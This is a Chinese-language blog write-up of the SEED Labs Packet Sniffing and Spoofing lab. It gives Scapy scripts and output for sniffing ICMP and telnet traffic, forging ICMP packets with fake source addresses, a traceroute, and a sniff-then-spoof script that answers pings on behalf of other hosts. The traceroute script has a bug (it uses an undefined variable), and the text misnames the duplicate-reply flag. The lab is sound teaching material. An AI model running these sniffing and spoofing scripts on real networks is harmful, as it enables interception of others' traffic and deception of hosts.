Ch3nyang's blog

home

home

person

about

hive

project

collections_bookmark

mindclip

rss_feed

rss

SEEDLabs | (9)
Packet Sniffing and Spoofing

calendar_month 2022-10
archive 实验
tag seedlab tag network

本文为 SEED Labs 2.0 - Packet Sniffing and Spoofing Lab 的实验记录。

实验原理

数据包嗅探和欺骗是网络安全中的两个重要概念;它们是网络通信中的两大威胁。能够理解这两种威胁对于理解网络中的安全措施至关重要。有许多数据包嗅探和欺骗工具,例如 Wireshark、Tcpdump、Netwox、Scapy 等。其中一些工具被安全专家以及攻击者广泛使用。本实验的目标有两个:学习使用这些工具并了解这些工具背后的技术。我们将编写简单的嗅探器和欺骗程序,并深入了解这些程序的技术方面。本实验涵盖以下主题:

  • 嗅探和欺骗的工作原理
  • 使用 pcap 库和 Scapy 进行数据包嗅探
  • 使用原始套接字和 Scapy 进行数据包欺骗
  • 使用 Scapy 处理数据包

Lab Task Set 1: Using Scapy to Sniff and Spoof Packets

Task 1.1: Sniffing Packets

启动 docker:

dcbuild
dcup

首先查看网卡端口:

$ ifconfig
br-9fee8832d7a6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:46ff:fe9f:a2ce  prefixlen 64  scopeid 0x20<link>
        ether 02:42:46:9f:a2:ce  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38  bytes 5759 (5.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
......

我们省略去了一些内容,因为我们只需要关注网桥的名称。

编写 sniffer.py

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=print_pkt)

其中,br-9fee8832d7a6 就是上面获取到的名称。

Task 1.1A

在 attacker 中赋予程序执行权限并运行:

# chmod a+x sniffer.py
# sniffer.py

然后在宿主机中运行:

$ sniffer.py
Traceback (most recent call last):
  File "./sniffer.py", line 7, in <module>
    pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=print_pkt)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 1036, in sniff
    sniffer._run(*args, **kwargs)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 906, in _run
    sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,
  File "/usr/local/lib/python3.8/dist-packages/scapy/arch/linux.py", line 398, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
  File "/usr/lib/python3.8/socket.py", line 231, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted

这是由于宿主机没有访问网桥的权限。

Task 1.1B

Capture only the ICMP packet

我们在 host 上 ping 东南大学主页:

# ping www.seu.edu.cn -c 1
PING widc142.seu.edu.cn (58.192.118.142) 56(84) bytes of data.
64 bytes from 58.192.118.142 (58.192.118.142): icmp_seq=1 ttl=247 time=55.0 ms

--- widc142.seu.edu.cn ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 54.967/54.967/54.967/0.000 ms

在 attacker 上可以看到:

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 31909
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x2a8
     src       = 10.9.0.5
     dst       = 58.192.118.142
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x2ffd
        id        = 0x13
        seq       = 0x1
###[ Raw ]### 
           load      = 'a\xeb\xf9b\x00\x00\x00\x00\xaa\xcd\x03\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:05
  src       = 02:42:46:9f:a2:ce
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 1038
     flags     = 
     frag      = 0
     ttl       = 247
     proto     = icmp
     chksum    = 0x43f
     src       = 58.192.118.142
     dst       = 10.9.0.5
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0x37fd
        id        = 0x13
        seq       = 0x1
###[ Raw ]### 
           load      = 'a\xeb\xf9b\x00\x00\x00\x00\xaa\xcd\x03\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

Capture any TCP packet that comes from a particular IP and with a destination port number 23.

修改程序:

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='src host 10.9.0.5 and tcp dst port 23', prn=print_pkt)

由于 23 端口为 telnet,故我们在 host 上 telnet attacker 一下:

# telnet 10.9.0.1
Trying 10.9.0.1...
Connected to 10.9.0.1.
Escape character is '^]'.
Ubuntu 20.04.1 LTS

attacker 上看到:

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x10
     len       = 60
     id        = 60767
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x3935
     src       = 10.9.0.5
     dst       = 10.9.0.1
     \options   \
###[ TCP ]### 
        sport     = 36788
        dport     = telnet
        seq       = 1558341395
        ack       = 0
        dataofs   = 10
        reserved  = 0
        flags     = S
        window    = 64240
        chksum    = 0x1446
        urgptr    = 0
        options   = [('MSS', 1460), ('SAckOK', b''), ('Timestamp', (998148733, 0)), ('NOP', None), ('WScale', 7)]
......

Capture packets comes from or to go to a particular subnet. You can pick any subnet, such as 128.230.0.0/16; you should not pick the subnet that your VM is attached to.

修改程序:

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='net 128.230.0.0/16', prn=print_pkt)

在 host 上 ping 一下:

# ping 128.230.0.1 -c 1
PING 128.230.0.1 (128.230.0.1) 56(84) bytes of data.
64 bytes from 128.230.0.1: icmp_seq=1 ttl=44 time=396 ms

--- 128.230.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 396.333/396.333/396.333/0.000 ms

attacker 上看到:

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 3604
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0xa1a0
     src       = 10.9.0.5
     dst       = 128.230.0.1
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x71f7
        id        = 0x22
        seq       = 0x1
###[ Raw ]### 
           load      = '~\xed\xf9b\x00\x00\x00\x00B\xc2\x0c\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:05
  src       = 02:42:46:9f:a2:ce
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x2
     len       = 84
     id        = 1065
     flags     = 
     frag      = 0
     ttl       = 44
     proto     = icmp
     chksum    = 0xff89
     src       = 128.230.0.1
     dst       = 10.9.0.5
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0x79f7
        id        = 0x22
        seq       = 0x1
###[ Raw ]### 
           load      = '~\xed\xf9b\x00\x00\x00\x00B\xc2\x0c\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

Task 1.2: Spoofing ICMP Packets

编写 spoofer.py

#!/usr/bin/env python3
from scapy.all import *

a = IP()
a.src = '10.10.0.1'
a.dst = '10.10.0.2'
b = ICMP()
p = a/b

send(p)

然后复制进 host:

docker cp spoofer.py 1a6d18536d74:/codes/spoofer.py

这里,1a6d18536d74 为 host docker 的 ID。

同时,sniffer.py 改回:

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=print_pkt)

我们运行程序:

# chmod a+x spoofer.py
# spoofer.py
.
Sent 1 packets.

attacker 主机接收到:

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 28
     id        = 1
     flags     = 
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x66ca
     src       = 10.10.0.1
     dst       = 10.10.0.2
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0xf7ff
        id        = 0x0
        seq       = 0x0

Task 1.3: Traceroute

编写 tracerouter.py

#!/usr/bin/env python3
from scapy.all import *
import sys

argumentList = sys.argv

MAX_TTL = 255
dstHostname = argumentList[1]
dstIP = socket.gethostbyname(dstHostname)

continuousLost = 0
MAX_LOST = 6

print("dst IP: " + dstIP)

a = IP()
a.dst = dstIP
a.ttl = 1

b = ICMP()

while ip.ttl <= MAX_TTL:
    # Send Packet
    reply = sr1(a/b, verbose=0, timeout=3)
    print(str(a.ttl),end="\t")
    
    if (reply == None):
        print("===PACKET LOST===")
        continuousLost += 1
        if (continuousLost >= MAX_LOST):
            print("Unable to reach " + dstIP + "! Stop.")
            break
    else:
        print(reply.src)
        continuousLost = 0
        if (reply.src == dstIP):
            break
            
    a.ttl += 1

我们在 host 上运行:

# tracer.py 1.2.3.4
dst IP: 1.2.3.4
1  10.9.0.1
2  10.0.2.1
3  10.208.64.1
4  10.80.128.141
5  10.80.128.149
6  10.80.3.10
7  153.3.60.1
8  122.96.66.73
9  ===PACKET LOST===
10 ===PACKET LOST===
11 ===PACKET LOST===
12 ===PACKET LOST===
13 ===PACKET LOST===
14 ===PACKET LOST===
Unable to reach 1.2.3.4! Stop.
# tracer.py 8.8.8.8
dst IP: 8.8.8.8
1  10.9.0.1
2  10.0.2.1
3  10.208.64.1
4  10.80.128.141
5  10.80.128.149
6  10.80.3.10
7  153.3.60.1
8  221.6.2.137
9  221.6.9.129
10 219.158.8.114
11 219.158.98.94
12 219.158.16.242
13 72.14.213.114
14 108.170.241.97
15 108.170.233.19
16 8.8.8.8

可以看出,我们能够实现 traceroute 的功能。8.8.8.8 在 16 跳后到达。而 1.2.3.4 是不存在的地址,经过 8 跳后到达 122.96.66.73,此后就收不到回复了。

Task 1.4: Sniffing and-then Spoofing

编写 sniff_spoof.py

#!/usr/bin/env python3  
from scapy.all import *  

def spoof_pkt(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8:
        
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)
        icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
        data = pkt[Raw].load
        newpkt = ip/icmp/data 
        
        send(newpkt, verbose=0)  

pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=spoof_pkt)

将该程序在 attacker 上运行。

在 host 上 ping 不同的 ip:

# ping 1.2.3.4 -c 1
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=102 ms

--- 1.2.3.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 101.621/101.621/101.621/0.000 ms
# ping 10.9.0.99 -c 1
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
From 10.9.0.5 icmp_seq=1 Destination Host Unreachable

--- 10.9.0.99 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
# ping 8.8.8.8 -c 2
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=23.7 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=220 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=28.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, +1 duplicates, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 23.712/90.615/219.692/91.291 ms

我们可以查看 ip route 来解释这一现象:

# ip route get 1.2.3.4
1.2.3.4 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0 
    cache 
# ip route get 10.9.0.99
10.9.0.99 dev eth0 src 10.9.0.5 uid 0 
    cache 
# ip route get 8.8.8.8  
8.8.8.8 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0 
    cache

可以看到,10.9.0.99 是子网内部的,不经过网关,然而没有找到该地址,故无法 ping 通。另外两个都是公网 ip,其中 1.2.3.4 不存在,只会收到攻击者的回复。

8.8.8.8 实际存在,其服务器会发送回复,而攻击者主机也会发送回复。这两个回复重复了,所以会有 UDP 标志。

实验总结

本实验较为简单,依葫芦画瓢即可。通过实验,我们了解了嗅探和欺骗的工作原理,学会了使用 pcap 库和 Scapy 进行数据包嗅探、使用原始套接字和 Scapy 进行数据包欺骗及使用 Scapy 处理数据包。

Comments

Share This Post